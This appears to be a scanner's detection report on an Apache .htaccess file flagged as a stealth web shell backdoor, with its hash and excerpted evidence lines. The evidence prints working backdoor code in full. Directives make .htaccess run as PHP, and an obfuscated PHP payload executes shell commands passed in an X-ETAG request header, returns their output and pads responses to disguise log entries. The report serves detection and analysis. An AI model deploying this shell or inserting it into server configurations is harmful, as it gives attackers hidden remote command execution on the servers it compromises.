mod_php.stealth-shell.htaccess
Explicit web shell backdoor
Use Apache .htaccess to execute php code inside .htaccessMaps text extension to PHP handler
SHA-2568c9e65cd3ef093cd9c5b418dc5116845aa6602bc92b9b5991b27344d8b3f7ef2
MaleculeO₂(C₃Xe)H₄(CmDb₂OsPo₂)Th
Evidence
1# Self contained .htaccess stealth web shell - Part of the htshell project
2# Written by Wireghoul - http://www.justanotherhacker.com
3
4# Override default deny rule to ma …
5:4… les ~ "^\.htaccess">
6# Uncomment the line below for Apache2.4 and newer
7# Require all granted
8 Order allow,deny
9 Allow from all
10</Files>
11
12# Make .htaccess file be interpreted as php file. This occur after apache has interpreted
13# the apache directoves from the .htaccess file
14AddType application/x-httpd-php .htaccess
15
16# Enable output buffering so we can fudge content length in logs (see the ob_* calls)
⋯6 lines
27:5… en make sure the log contains a 200 ok response with response size of 9326 (should match the file you are impersonating or a code in a 404 response)
28# SHELL <?php ob_clean(); $b= "base64"."_decode"; $e = str_replace('y','e','yxyc'); $e($b(substr($_SERVER['HTTP_X_ETAG'],2))." 2>&1", $o); header("X-ETAG: AA".base64_encode(implode("\r\n ", $o))); print str_repeat(" ", 9326); ob_flush(); exit(); ?>